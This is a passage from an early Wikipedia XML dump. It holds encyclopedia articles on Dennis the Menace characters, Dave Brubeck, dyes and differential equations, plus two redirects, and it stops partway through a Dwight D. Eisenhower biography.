Gnasher also has several daughters, their names being Gnatasha, Gnaomi, Gnanette, Gnorah and Gnancy, though these tend not to be seen much. He also used to have another strip, ''[[Gnasher's Tale]]'', which began in [[1977]] and continued for another nine years.  (It is rather unusual for cartoon animals to have children; usually they just have nephews e.g. [[Mickey Mouse]], [[Scooby Doo]].)

'''[[Rasher]]''' is a [[pig]] (hence the name) and is Dennis' other loyal pet, first seen in issue 1920, dated [[5 May]] [[1979]]. He loves to eat swill and was rescued by Dennis. Rasher also has children, their names being Oink, Snort, Grunt, Squeal, and Squeak. He also used to have his own strip called ''Rasher'', which started in [[1984]] and continued for another four years, with a few one off appearances after that.

Dennis has also been seen with his pet [[spider]] called '''Dasher'''. He first appeared in about [[1997]], and was the mascot of the Beano [[website]] when it launched a year later.

Dennis also has two main friends. '''Curly''' was the first to appear, appearing a few months after the strip started in [[1951]]. He has a lot of blonde, curly hair, hence his name. In a [[1996]] episode of the animated TV series entitled 'The Bath-Night Club', we learnt he has a little brother named '''Spiky'''. He has spiky hair, and, according to Curly, could not escape and was put in the bath. The next day he started smelling of soap and began prancing about with Softies and girls. The episode was reprinted in print form in [[1998]] as Number 81 of The Beano Super Stars.

'''[[Pieface]]''' (Real name 'Kevin') is the second. His favourite food is pies, hence the name.

Together, Dennis, Curly and Pie-Face battle the '''Softies''', a group of children who enjoy things such as [[teddy bear]]s, [[doll]]s and [[flower]]s. The most famous, Dennis' sworn enemy, is a character called '''Walter''', the 'Prince of Softies'. He has a pet [[poodle]] called '''Foo-Foo''' and a cat named '''Fluffy'''. The two most other frequently seen Softies are '''Algernon 'Spotty' Perkins''' and '''Bertie Blenkinsop''', who are usually seen playing with him. Walter, Spotty and Bertie once had a competition to decide who had the cutest teddy, but they agreed that they were all lovely. In a [[1984]] strip both their pets were seen, two dogs called Yorkie and Papillon, although it did not state which pet belong to which Softy. Other softies include '''Sweet William''', '''Dudley Nightshirt''', '''Jeremy Snodgrass''' and '''Nervous Rex''', a character who is scared of everything and everyone.

==See also==
*[[Dennis the Menace (US)]]
*[[Dennis the Menace Annual]]
*[[Beryl the Peril]]

==External links==
*[http://www.toonopedia.com/dennisb.htm Toonopedia profile]

[[Category:Comics characters]]
[[Category:Beano strips|Dennis the Menace]]</text>
    </revision>
  </page>
  <page>
    <title>Dennis the Menace/whacking</title>
    <id>8173</id>
    <revision>
      <id>15906189</id>
      <timestamp>2002-08-23T04:05:12Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Dennis the Menace]]</text>
    </revision>
  </page>
  <page>
    <title>Dennis the Menace/Gnasher</title>
    <id>8175</id>
    <revision>
      <id>15906191</id>
      <timestamp>2003-05-25T12:51:19Z</timestamp>
      <contributor>
        <username>Eloquence</username>
        <id>52</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Dennis the Menace (UK)]]</text>
    </revision>
  </page>
  <page>
    <title>Dave Brubeck</title>
    <id>8176</id>
    <revision>
      <id>41390365</id>
      <timestamp>2006-02-27T00:42:59Z</timestamp>
      <contributor>
        <username>Nobunaga24</username>
        <id>830002</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Dave Brubeck Notes.jpg|thumb|Brubeck in 1954]]
[[image:Dave Brubeck 2005 in Ludwigshafen 1 fcm.jpg|thumb|Brubeck in 2005]]
'''David Warren (Dave) Brubeck'''  (born [[December 6]] [[1920]] in [[Concord, California]]) is an [[United States|American]] [[Jazz piano|jazz pianist]] who has written a number of [[jazz standard]]s, including ''In Your Own Sweet Way'' and ''The Duke''. Brubeck's style ranges from refined to bombastic, reflecting his mother's attempts at [[European classical music|classical]] training and his [[improvisation]]al skills. Much of his music employs unusual [[time signature]]s.

His long-time musical partner, alto saxophonist [[Paul Desmond]], wrote what is arguably the quartet's most famous piece, ''[[Take Five]]'' (which is in 5/4 time). Brubeck experimented with time signatures through much of his career, recording ''Pick Up Sticks'' in 6/4, ''Unsquare Dance'' in 7/4, and ''Blue Rondo A La Turk'' in 9/8, an experimentation begun with his attempts to put [[music]] to the odd rhythms generated by various machines around him on his parents' cattle ranch in a small town in the western United States. The title of ''Blue Rondo A La Turk'' is a play on [[Wolfgang Amadeus Mozart|Mozart]]'s ''Rondo alla Turca: Allegretto'' from his [[Piano Sonata No. 11 (Mozart)|''Piano Sonata No. 11'']], and the 9/8 metre of traditional [[Turkey|Turkish]] music, the country in which the band was touring when the tune was written.

Brubeck's mother studied piano in [[England]] and intended to become a concert pianist; at home she taught piano for extra money.  Brubeck was not particularly interested in learning by any particular method, but preferred to create his own [[melody|melodies]], and therefore avoided learning to read [[sheet music]]. In college Brubeck was nearly expelled when one of his professors discovered that he could not read sheet music.  Several of his professors came forward arguing for his ability with [[counterpoint]] and [[harmony]], but the school was still afraid that it would cause a scandal, and only agreed to let Brubeck graduate once he promised never to teach piano.

After graduating from the [[University of the Pacific]] in [[1942]], Brubeck was [[conscription|drafted]] into the [[army]] and served overseas in [[George Patton]]'s Third Army during the [[Battle of the Bulge]]. He played in a band, quickly [[Racial integration|integrating]] it and gaining both popularity and deference. He returned to college after serving nearly 4 years in the army, this time attending [[Mills College]] and studying under [[Darius Milhaud]], who encouraged him to study [[fugue (music)|fugue]] and [[orchestration]] but not classical piano. (Oddly enough, most critics consider Brubeck something of a classical pianist playing jazz.)

After completing his studies under Milhaud, Brubeck signed with [[Berkeley, California]]'s [[Fantasy Records]]. He started an [[Dave Brubeck Octet|octet]] including [[Cal Tjader]] and [[Paul Desmond]]. The group was highly experimental and made few recordings, and got even fewer paying jobs. A bit discouraged, Brubeck started a trio with two of the members, not including Desmond, who had a gig of his own, and spent several years playing nothing but jazz standards.  Brubeck then formed [[The Dave Brubeck Quartet]] in [[1951]], which consisted of [[Joe Dodge]] on drums, [[Bob Bates]] on bass, [[Paul Desmond]] on saxophone, and of course Brubeck on piano. They took up a long residency at [[San Francisco]]'s [[Black Hawk (nightclub)|Black Hawk nightclub]] and gained great popularity touring college campuses, recording a series of albums with such titles as ''Jazz at Oberlin'', ''Jazz Goes to College'' and ''Jazz Goes to Junior College''. In [[1954]] he was featured on the cover of [[Time Magazine]], the first Jazz musician to be so honored. In the mid-1950s Bates and Dodge were respectively replaced by [[Eugene Wright]] and [[Joe Morello]]. Eugene Wright is [[African-American]]; in the late [[1950s]] Brubeck cancelled many concerts because the club owners wanted him to bring a different bassist. He also cancelled a [[television]] appearance when he found out that the venue intended to keep Wright off-camera.

In [[1959]] the Dave Brubeck Quartet released ''[[Time Out (album)|Time Out]]'', an album their label was enthusiastic about but nonetheless hesitant to release. The album contained all original compositions, almost none of which were in [[common time]]. Nonetheless, on the strength of these unusual time signatures (the album included ''Take Five'', ''Blue Rondo A La Turk'', and ''Pick Up Sticks''), it quickly went [[platinum album|platinum]]. The quartet followed up its success with several more albums in the same vein, including ''Time Further Out'' ([[1961]]), ''Time in Outer Space'', and ''Time Changes''. These albums were also known for using contemporary paintings as cover art, featuring the work of [[Neil Fujita]] on ''Time Out'', [[Joan Miró]] on ''Time Further Out'', [[Franz Kline]] on ''Time in Outer Space'', and [[Sam Francis]] on ''Time Changes''. A high point for the group was their classic [[1963]] live album ''[[At Carnegie Hall]]'', described by critic [[Richard Palmer]] as &quot;arguably Dave Brubeck's greatest concert&quot;.

[[Image:Davebrubeckquartet1967a.jpg|thumb|left|Dave Brubeck Quartet 1967]]The Dave Brubeck Quartet broke up in [[1967]] except for a 25th anniversary reunion in [[1976]]; Brubeck continued playing with Desmond and then began recording with [[Gerry Mulligan]]. Desmond died in [[1977]] and left everything, including residuals and the immense royalties for ''Take Five'', to the [[American Red Cross]].  Mulligan and Brubeck recorded together for six years and then Brubeck formed another group with [[Jerry Bergonzi]] on [[saxophone]], and three of his sons, [[Dan Brubeck|Dan]], [[Darius Brubeck|Darius]], and [[Chris Brubeck|Chris]], on [[drum]]s, [[double bass|bass]], and [[Keyboard instrument|keyboard]]s.  Brubeck continues to write new works, including orchestrations and [[ballet (music)|ballet]] scores, and tours about 80 cities each year, usually 20 of them in [[Europe]] in the spring.  In recent years his quartet has included alto saxophonist [[Bobby Militello]], bassist [[Alec Dankworth]] (who replaced [[Jack Six]]), and drummer [[Randy Jones (drummer)|Randy Jones]].

==Media==
[[Image:Take Five-piano intro.png|frame|right|&quot;Take Five&quot; piano intro]]
{{Listen|filename=Dave_Brubeck_Quartet,_The-Time_Out-Take_Five-head.ogg|title=Take Five|description=The [[head (music)|head]] from the classic recording.|format=[[Ogg]]}}

==External links==
* {{AMG Artist|sql=11:tihxlfae5cqo|artist=Dave Brubeck}}
*[http://www.wnyc.org/music/articles/32460 WNYC Interview with Brubeck]. Includes many song excerpts. (7/2004)
*[http://www.pbs.org/brubeck/ PBS - Rediscovering Dave Brubeck] December 16, 2001 documentary
*[http://www.brubeckinstitute.org/ The Brubeck Institute]
*[http://www.cosmopolis.ch/english/cosmo17/dave_brubeck.htm Biography, photos, CDs and concert review of Dave Brubeck by cosmopolis.ch]


[[Category:American jazz musicians|Brubeck, Dave]]
[[Category:American jazz pianists|Brubeck, Dave]]
[[Category:American pianists|Brubeck, Dave]]
[[Category:American songwriters|Brubeck, Dave]]
[[Category:Jazz composers|Brubeck, Dave]]
[[Category:California musicians|Brubeck, Dave]]
[[Category:1920 births|Brubeck, Dave]]
[[Category:Living people|Brubeck, Dave]]
[[Category:American World War II veterans|Brubeck, Dave]]
[[Category:United States Army soldiers|Brubeck, Dave]]
[[Category:National Medal of Arts recipients|Brubeck, Dave]]

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    </revision>
  </page>
  <page>
    <title>Differential equations</title>
    <id>8178</id>
    <revision>
      <id>15906193</id>
      <timestamp>2002-05-13T10:24:18Z</timestamp>
      <contributor>
        <username>Tobias Hoevekamp</username>
        <id>3</id>
      </contributor>
      <minor />
      <comment>#redirect [[Differential equation]]</comment>
      <text xml:space="preserve">#redirect [[Differential equation]]</text>
    </revision>
  </page>
  <page>
    <title>Dye</title>
    <id>8179</id>
    <revision>
      <id>42105996</id>
      <timestamp>2006-03-03T21:39:35Z</timestamp>
      <contributor>
        <ip>216.41.88.170</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Conner-prairie-yarn-drying.jpg|300px|thumb|Yarn drying after being dyed in the early American tradition, at [[Conner Prairie]] living history museum.]]

A '''dye''' can generally be described as a [[color]]ed substance that has an [[Chemical affinity|affinity]] to the [[substrate]] to which it is being applied. The dye is usually used as an [[aqueous solution]], and may require a [[mordant]] to improve the fastness of the dye on the fiber.  In contrast, a [[pigment]] generally has no affinity for the substrate, and is insoluble.

[[Archaeology|Archaeological]] evidence shows that, particularly in [[India]] and the [[Middle East]], dyeing has been carried out for over 5000 years. The dyes were obtained from either [[animal]], [[vegetable]] or [[mineral]] origin, with no or very little processing. By far the greatest source of dyes has been from the [[plant kingdom]], notably [[root]]s, [[berry|berries]], [[bark]], [[leaf|leaves]] and [[wood]], but only a few have ever been used on a commercial scale.

{{Wiktionary}}

==Organic dyes==
The first man-made [[organic compound|organic]] dye, [[mauveine]], was discovered by [[William Perkin|William Henry Perkin]] in [[1856]]. Many thousands of dyes have since been prepared and, because of vastly improved properties imparted upon the dyed materials, quickly replaced the traditional natural dyes. Dyes are now classified according to how they are used in the dyeing process.

'''[[Acid dye]]s''' are [[water]]-[[soluble]] [[anionic]] dyes that are applied to [[fiber]]s such as [[silk]], [[wool]], [[nylon]] and [[modified acrylic fiber]]s using neutral to acid dyebaths. Attachment to the fiber is attributed, at least partly, to salt formation between anionic groups in the dyes and [[cationic]] groups in the fiber. Acid dyes are not substantive to [[cellulosic]] fibers.

'''[[Basic dye]]s''' are water-soluble cationic dyes that are mainly applied to [[acrylic fiber]]s, but find some use for wool and silk. Usually [[acetic acid]] is added to the dyebath to help the uptake of the dye onto the fiber. Basic dyes are also used in the coloration of [[paper]].

'''Direct''' or '''[[substantive dye]]ing''' is normally carried out in a neutral or slightly [[alkaline]] dyebath, at or near [[boiling point]], with the addition of either [[sodium chloride]] (NaCl) or [[sodium sulfate]] (Na&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;). Direct dyes are used on [[cotton]], paper, [[leather]], wool, silk and [[nylon]]. They are also used as [[pH indicator]]s and as [[staining (biology)|biological stain]]s.

'''Mordant dyes''' require a [[mordant]], which improves the fastness of the dye against water, [[light]] and [[perspiration]]. The choice of mordant is very important as different mordants can change the final colour significantly. Most natural dyes are mordant dyes and there is therefore a large literature base describing dyeing techniques. The most important mordant dyes are the synthetic mordant dyes, or chrome dyes, used for wool; these comprise some 30% of dyes used for wool, and are especially useful for black and navy shades. The mordant, [[potassium dichromate]], is applied as an after-treatment.

{{wiktionarypar|leuco form}}
'''[[Vat dye]]s''' are essentially insoluble in water and incapable of dyeing fibres directly. However, reduction in [[alkaline liquor]] produces the water soluble [[alkali metal salt]] of the dye, which, in this leuco form, has an affinity for the textile fibre. Subsequent [[oxidation]] reforms the original insoluble dye.

'''[[Reactive dyes]]''' utilize a [[chromophore]] containing a [[substituent]] that is capable of directly [[chemical reaction|reacting]] with the fibre substrate. The [[covalent]] bonds that attach reactive dye to natural fibers make it among the most permanent of dyes. &quot;Cold&quot; reactive dyes, such as Procion MX, Cibacron F, and Drimarene K, are very easy to use because the dye can be applied at room temperature. Reactive dye is by far the best choice for dyeing [[cotton]] and other [[cellulose]] fibers at home or in the art studio.

'''[[Disperse dye]]s''' were originally developed for the dyeing of [[cellulose acetate]], and are substantially water insoluble. The dyes are finely ground in the presence of a dispersing agent and then sold as a paste, or spray-dried and sold as a powder. They can also be used to dye nylon, [[triacetate]], [[polyester]] and acrylic fibres. In some cases, a dyeing [[temperature]] of 130 [[celsius|°C]] is required, and a pressurised dyebath is used. The very fine particle size gives a large surface area that aids dissolution to allow uptake by the fibre. The dyeing rate can be significantly influenced by the choice of dispersing agent used during the grinding.

'''[[Azo dye]]ing''' is a technique in which an insoluble azoic dye is produced directly onto or within the fibre. This is achieved by treating a fibre with both diazoic and coupling components. With suitable adjustment of dyebath conditions the two components react to produce the required insoluble azo dye. This technique of dyeing is unique, in that the final colour is controlled by the choice of the diazoic and coupling components.

==Natural dyes==
=== Animal origin ===
These include [[tyrian purple]] (vat dye), [[kermes]] and [[cochineal]] (mordant dyes) and [[techelet]].

=== Vegetable origin ===
Substantive dyes include [[walnut hulls]], [[safflower]] and [[turmeric]], while [[indigo plant|indigo]] and [[woad]] are vat dyes.  Mordant dyes include [[alizarin]] (madder), [[broom (shrub)|dyer's broom]], [[brazilwood]], [[quercitron|quercitron bark]], [[weld (plant)|weld]] and [[old fustic]].  [[Cudbear]] is unclassified.

=== Inorganic dyes ===
These include [[eosin]] and [[iron buff]].

== Food dyes ==
One other class which describes the role of dyes, rather than their mode of use, is the [[food coloring|food dye]].  Because food dyes are classed as [[food additive]]s, they are manufactured to a higher standard than some industrial dyes. Food dyes can be direct, mordant and vat dyes, and their use is strictly controlled by [[law|legislation]]. Many are azoic dyes, although [[anthraquinone]] and [[triphenylmethane]] compounds are used for colours such as [[green]] and [[blue]]. Some naturally-occurring dyes are also used.

== Other important dyes ==
A number of other classes have also been established, including:
* [[Oxidation base]]s, for mainly hair and fur
* [[Sulfur dye]]s, for textile fibres
* [[Leather dye]]s, for leather
* [[Fluorescent brightener]]s, for textile fibres and paper
* [[Solvent dye]]s, for wood staining and producing coloured lacquers, solvent inks,                               colouring oils, waxes.
* [[Carbene dye]]s, a recently developed method for colouring multiple substrates

==Chemical classification==
By the nature of their [[chromophore]], dyes are divided to: [http://stainsfile.info/StainsFile/dyes/dyes.htm]
* [[:Category:Acridine dyes]], derivates of [[acridine]]
* [[:Category:Anthraquinone dyes]], derivates of [[anthraquinone]]
* Arylmethane dyes
** [[:Category:Diaryl methane dyes]], based on [[diphenyl methane]]
** [[:Category:Triarylmethane dyes]], derivates of [[triphenyl methane]]
* [[:Category:Azo dyes]], based on -N=N- [[azo compound|azo]] structure
* [[:Category:Cyanine dyes]], derivates of [[phthalocyanine]]
* [[:Category:Diazonium dyes]], based on [[diazonium]] salts
* [[:Category:Nitro dyes]], based on a -NO&lt;sub&gt;2&lt;/sub&gt; [[nitro functional group]]
* [[:Category:Nitroso dyes]], based on a -N=O [[nitroso functional group]]
* [[:Category:Phthalocyanine dyes]], derivates of [[phthalocyanine]]
* [[:Category:Quinone-imine dyes]], derivates of [[quinone]]
** [[:Category:Azin dyes]]
*** [[:Category:Eurhodin dyes]]
*** [[:Category:Safranin dyes]], derivates of [[safranin]]
** Indamins
** Indophenols
** [[:Category:Oxazin dyes]], derivates of [[oxazin]]
** [[:Category:Oxazone dyes]], derivates of [[oxazone]]
** [[:Category:Thiazin dyes]], derivates of [[thiazin]]
* [[:Category:Thiazole dyes]], derivates of [[thiazole]]
* Xanthene dyes, derived from [[xanthene]]
** Fluorene dyes, derivates of [[fluorene]]
*** [[:Category:Pyronin dyes]]
*** [[:Category:Rhodamine dyes]], derivates of [[rhodamine]]
** [[:Category:Fluorone dyes]], based on [[fluorone]]

Also
* [[:Category:Natural dyes]]
* [[:Category:Metal complex dyes]]
* [[:Category:Pigments]]
** [[:Category:Inorganic pigments]]



==External links==
*[http://www.pburch.net/dyeing/aboutdyes.shtml About Dyes]
*[http://www.organicdye.com About Organic Dyes]

[[Category:Dyes]]



[[de:Farbstoffe]]
[[fr:Teinture]]
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[[lt:Dažiklis]]
[[pl:Substancje barwiące]]
[[simple:Dye]]
[[zh:&amp;#26579;&amp;#26009;]]</text>
    </revision>
  </page>
  <page>
    <title>Examples of differential equations</title>
    <id>8181</id>
    <revision>
      <id>40362432</id>
      <timestamp>2006-02-20T01:42:26Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">== A separable first order linear ordinary differential equation ==

A separable [[linear ordinary differential equation]] of the first order has the general form:

: &lt;math&gt;\frac{dy}{dt} + f(t) y = 0,&lt;/math&gt;

where ''f''(''t'') is some known [[function (mathematics)|function]].  We may solve this by [[separation of variables]] (moving the ''y'' terms to one side and the ''t'' terms to the other side),

: &lt;math&gt;\frac{dy}{y} = -f(t)\, dt.&lt;/math&gt;

[[Integral|Integrating]], we find

:&lt;math&gt;\ln y = -F(t) + C\,&lt;/math&gt;

where

:&lt;math&gt;F(t) = \int f(t)\,dt&lt;/math&gt;

is the [[antiderivative]] of ''f''(''t'') and ''C'' is a constant. Then, by [[exponent]]iation, we obtain

:&lt;math&gt;y = A e^{-F(t)},\,&lt;/math&gt;

with ''A'' an arbitrary constant.  (We can easily confirm that this is a solution by plugging it into the original differential equation.)

Some elaboration is needed since ''f''(''t'') is not in fact a constant, indeed it might not even be integrable. Arguably, one must also assume something about the domains of the functions involved before the equation is fully defined. Are we talking complex functions, or just real, for example? The usual textbook approach is to discuss forming the equations well before considering how to solve them.

== Non-separable first order linear ordinary differential equations ==

Some first order linear ODEs (ordinary [[differential equation]]s) are not separable like in the above example. In order to solve non-separable first order linear ODEs one must use what is known as an [[integrating factor]]. This technique will be shown below.

Consider first order linear ODEs of the general form: 

&lt;math&gt;\frac{dy}{dx} + p(x)y = q(x)&lt;/math&gt;

The method for solving this equation relies on a special &quot;integrating factor&quot;, ''&amp;mu;'': 

&lt;math&gt;\mu = e^{\int_{}^{} p(x)\, dx}&lt;/math&gt;

Multiply both sides of the differential equation by ''&amp;mu;'' to get:

&lt;math&gt;\mu{\frac{dy}{dx}} + \mu{p(x)y} = \mu{q(x)}&lt;/math&gt;

Because of the special ''&amp;mu;'' we picked, this simplifies to:

&lt;math&gt;\mu{\frac{dy}{dx}} + y{\frac{d{\mu}}{dx}} = \mu{q(x)}&lt;/math&gt;

Using the [[product rule (calculus)|product rule]] we get:

&lt;math&gt;\frac{d}{dx}{(\mu{y})} = \mu{q(x)}&lt;/math&gt;

Integrating both sides we get:

&lt;math&gt;\mu{y} = \left(\int\mu q(x)\, dx\right) + C&lt;/math&gt;

Finally, to solve for &lt;math&gt;y&lt;/math&gt; we divide both sides by &lt;math&gt;\mu&lt;/math&gt;:

&lt;math&gt;y = \frac{\left(\int\mu q(x)\, dx\right) + C}{\mu}&lt;/math&gt;

(Since ''&amp;mu;'' is a function of ''x'', we cannot simplify any more.)

== A simple mathematical model ==

Suppose a mass is attached to a spring, which exerts an attractive force on the mass [[proportional]] to the extension/compression of the spring and ignore any other forces ([[gravity]], [[friction]] etc).  We shall write the extension of the spring at a time &lt;math&gt;t&lt;/math&gt; as &lt;math&gt;x(t)&lt;/math&gt;.  Now, using [[Newton's laws of motion|Newton's second law]] we can write (using convenient units)

: &lt;math&gt;\frac{d^2x}{dt^2} = - x&lt;/math&gt;

If we look for solutions that have the form &lt;math&gt;C e^{kt}&lt;/math&gt;, where &lt;math&gt;C&lt;/math&gt; is a constant, we discover the relationship &lt;math&gt;k^2 + 1 = 0&lt;/math&gt;, and thus &lt;math&gt;k&lt;/math&gt; must be one of the [[complex number]]s &lt;math&gt;i&lt;/math&gt; or &lt;math&gt;-i&lt;/math&gt;.  Thus, using [[Eulers formula in complex analysis|Euler's theorem]] we can say that the solution must be of the form:

: &lt;math&gt;x(t) = A \cos t + B \sin t&lt;/math&gt;

To fix the unknown constants &lt;math&gt;A&lt;/math&gt; and &lt;math&gt;B&lt;/math&gt;, we need '''initial conditions''', i.e. to specify the state of the system at a given time (usually taken to be &lt;math&gt;t = 0&lt;/math&gt;).

For example, if we suppose at &lt;math&gt;t = 0&lt;/math&gt; the extension is a unit distance (&lt;math&gt;x = 1&lt;/math&gt;), and the particle is not moving (&lt;math&gt;dx/dt = 0&lt;/math&gt;). We have

: &lt;math&gt;x(0) = A \cos 0 + B \sin 0 = A = 1,&lt;/math&gt;

and so &lt;math&gt;A = 1&lt;/math&gt;.

: &lt;math&gt;x'(0) = -A \sin 0 + B \cos 0 = B = 0,&lt;/math&gt;

and so &lt;math&gt;B = 0&lt;/math&gt;.

Therefore &lt;math&gt;x(t) = \cos t&lt;/math&gt;.  This is an example of [[simple harmonic motion]].

== Improving our model ==

The above model of an oscillating mass on a spring is plausible but not really realistic.  For a start, we have invented a perpetual motion machine which violates the second law of [[thermodynamics]].  Therefore, consider adding some [[friction]] for realism.  Now, experimental [[scientist]]s will tell us that friction will tend to decelerate the mass and have magnitude proportional to its velocity (i.e. &lt;math&gt;dx/dt&lt;/math&gt;).  Our new differential equation, expressing the balancing of the acceleration and the forces, is

: &lt;math&gt;\frac{d^2x}{dt^2} = - c \frac{dx}{dt} - x&lt;/math&gt;

where &lt;math&gt;c&lt;/math&gt; is our coefficient of friction, and &lt;math&gt;c &gt; 0&lt;/math&gt;.  Again looking for solutions of the form &lt;math&gt;A e^{kt}&lt;/math&gt;, we find that

: &lt;math&gt;k^2 + c k + 1 = 0.&lt;/math&gt;

This is a [[quadratic equation]] which we can solve.  If &lt;math&gt;c &lt; 2&lt;/math&gt; we have complex roots &lt;math&gt;a \pm i b&lt;/math&gt;, and the solution (with the above boundary conditions) will look like this:

: &lt;math&gt;x(t) = e^{at} \left(\cos bt - \frac{a}{b} \sin bt \right) &lt;/math&gt;

(We can show that &lt;math&gt;a &lt; 0&lt;/math&gt;)

This is a ''damped oscillator'', and the plot of displacement against time would look something like this:

: [[image:damped.png]]

which does resemble how we'd expect a vibrating spring to behave as friction removed the energy from the system.

== A simple exact equation ==

An '''exact differential equation''' is a first-order ordinary [[differential equation]] of implicit form

: &lt;math&gt;I(x, y)\, dx + J(x, y)\, dy = 0, \,\!&lt;/math&gt;

such that

: &lt;math&gt;\frac{\partial I}{\partial y}(x, y) = \frac{\partial J}{\partial x}(x, y).&lt;/math&gt;

This equation has the solution

: &lt;math&gt;\int_{x_0}^{x} I(u, y)\, du + \int_{y_0}^{y} J_\partial (v)\, dv = 0&lt;/math&gt;

where

: &lt;math&gt;J_\partial (y) = J(x, y) - \frac{\partial}{\partial y} \int_{x_0}^{x} I(u, y)\, du,&lt;/math&gt;

''u'' and ''v'' being [[free variables and bound variables|dummy variables]]; ''x''&lt;sub&gt;0&lt;/sub&gt; and ''y''&lt;sub&gt;0&lt;/sub&gt; being initial-value constants.

==See also==

* [[differential equations of mathematical physics]]
* [[exact form]]

== Bibliography ==
* A. D. Polyanin and V. F. Zaitsev, Handbook of Exact Solutions for Ordinary Differential Equations, 2nd Edition, Chapman &amp; Hall/CRC Press, Boca Raton, 2003; ISBN 1584882972.

==External links==
* [http://eqworld.ipmnet.ru/en/solutions/ode.htm Ordinary Differential Equations] at EqWorld: The World of Mathematical Equations.
[[Category:ordinary differential equations]]

[[fr:Exemples d'équations différentielles]]</text>
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  <page>
    <title>Dwight D. Eisenhower</title>
    <id>8182</id>
    <revision>
      <id>42112230</id>
      <timestamp>2006-03-03T22:23:17Z</timestamp>
      <contributor>
        <username>Accurizer</username>
        <id>804090</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{Infobox_President 
| name=President Dwight David Eisenhower
| nationality=american
| image=Eisenhower official.jpg
| order=34th President
| term_start=[[January 20]], [[1953]]
| term_end=[[January 20]], [[1961]]
| predecessor=[[Harry S. Truman]]
| successor=[[John F. Kennedy]]
| birth_date=[[October 14]], [[1890]]
| birth_place=[[Denison, Texas]]
| death_date=[[March 28]], [[1969]]
| death_place=[[Washington, D.C.]]
| spouse=[[Mamie Eisenhower|Mamie Doud Eisenhower]]
| party=[[Republican Party (United States)|Republican]]
| vicepresident=[[Richard Nixon]]
}}
'''Dwight David &quot;Ike&quot; Eisenhower''' ([[October 14]], [[1890]] &amp;ndash; [[March 28]], [[1969]]) was an [[United States|American]] [[Military of the United States|soldier]] and [[Politics of the United States|politician]]. As a [[Republican Party (United States)|Republican]] he was elected the 34th [[President of the United States]] (1953&amp;ndash;1961). During [[World War II]] he served as [[Supreme Commander of the Allied Expeditionary Force|Supreme Commander]] of the [[Allies|Allied forces]] in [[Europe]] with the rank of [[General of the Army (USA)|General of the Army]], and in 1949 became the first Supreme Commander of [[NATO]].

==Early life and family==
Eisenhower was born in [[Denison, Texas]], the third of seven sons born to David Jacob Eisenhower and Ida Elizabeth Stover, and their only child born in Texas. He was named David Dwight, and was called Dwight.  The Eisenhower family is from German descent and came from [[Forbach]], [[Lorraine]], but had lived in America since the 18th century. The family moved back to Abilene, Kansas in 1892. Eisenhower graduated from Abilene High School in 1909.

Eisenhower married [[Mamie Eisenhower|Mamie Geneva Doud]] (1896&amp;ndash;1979), of [[Denver, Colorado]], on [[July 1]], [[1916]]. They had two children, Doud Dwight Eisenhower (1917&amp;ndash;1921) whose tragic death in childhood haunted the couple, and John Sheldon David Doud Eisenhower (born 1922). [[John Eisenhower]] served in the [[United States Army]], then became an author and served as U.S. Ambassador to [[Belgium]]. John's son, [[David Eisenhower]], after whom [[Camp David]] is named, married [[Richard Nixon]]'s daughter [[Julie Nixon Eisenhower|Julie]] in 1968.

===Religion===
When Ike was five years old, his parents became followers of the WatchTower Society, whose members later took the name [[Jehovah's Witnesses]]. The Eisenhower home served as the local meeting Hall from 1896 to 1915. Ike and his brothers also stopped associating regularly after 1915, but Ike's mother continued as an active member until her death. Ike enjoyed a close relationship with his mother throughout her lifetime.  In later years, Eisenhower became a communicant in the [[Presbyterian]] church in 1953; in his retirement years, he was a member of the Gettysburg Presbyterian Church [http://www.gettysburg.com/communit/gpc.htm] in [[Gettysburg, Pennsylvania]].

== Military career==
{{main|Military career of Dwight D. Eisenhower}}
===Preparing for Command===
Eisenhower enrolled at the [[United States Military Academy]], [[West Point, New York]], in June, 1911.

Eisenhower was a great athlete at the time but his football career came to an end after he injured his knee trying to tackle the legendary [[Jim Thorpe]].

In a 1961 speech, Eisenhower recalled, &quot;Here and there, there are some people who are supremely endowed... My memory goes back to Jim Thorpe. He never practiced in his life, and he could do anything better than any other football player I ever saw.&quot;[http://www.cnn.com/2004/WORLD/europe/07/09/jim.thorpe][http://www.eisenhower.archives.gov/sports.htm]

Eisenhower graduated in 1915. He served with the infantry until 1918 at various camps in [[Texas]] and [[Georgia (U.S. state)|Georgia]]. During [[World War I]], Eisenhower was active in the [[tank corps]] and rose to [[Lieutenant Colonel]] in the [[National Army]]. Upon the conclusion of hostilities, Eisenhower reverted to his regular rank of Captain (and was promoted to Major the next day) before assuming duties at [[Camp Meade]], [[Maryland]] where he remained until 1922.

He was next assigned as executive officer to General [[Fox Conner]] in the [[Panama Canal Zone]], where he served until 1924. In 1925 and 1926 he attended the [[Command and General Staff College]] at [[Fort Leavenworth]], [[Kansas]], and then served as a [[battalion commander]], at [[Fort Benning]], [[Georgia (U.S. state)|Georgia]], until 1927.

[[Image:Eisenhower with Mamie.jpg|thumb|200px|left|Eisenhower with his wife Mamie on the steps of St. Mary's University of San Antonio, Texas in 1916.]]

During the late 1920s and early 1930s Eisenhower's career in the peacetime Army stagnated. He was assigned to the [[American Battle Monuments Commission]], directed by General [[John J. Pershing]], then to the [[Army War College]], and then served as executive officer to General [[George V. Moseley]], Assistant Secretary of War, from 1929 to 1933. He then served as chief military aide to General [[Douglas MacArthur]], Army Chief of Staff, until 1935, when he accompanied MacArthur to the [[Philippines]], where he served as assistant military advisor to the Philippine government. He was promoted to [[Lieutenant Colonel]] in 1936 after sixteen years as a Major.

Eisenhower returned to the U.S. in 1939 and held a series of staff positions in Washington, D.C., [[California]], and Texas. In June 1941 he was appointed Chief of Staff to General [[Walter Krueger]], Commander of the 3rd Army, at [[Fort Sam Houston]], Texas. He was promoted to Brigadier-General in September 1941. Although his administrative abilities had been noticed, on the eve of the U.S. entry into [[World War II]] he had never held an active command and was far from being considered as a potential commander of major operations.

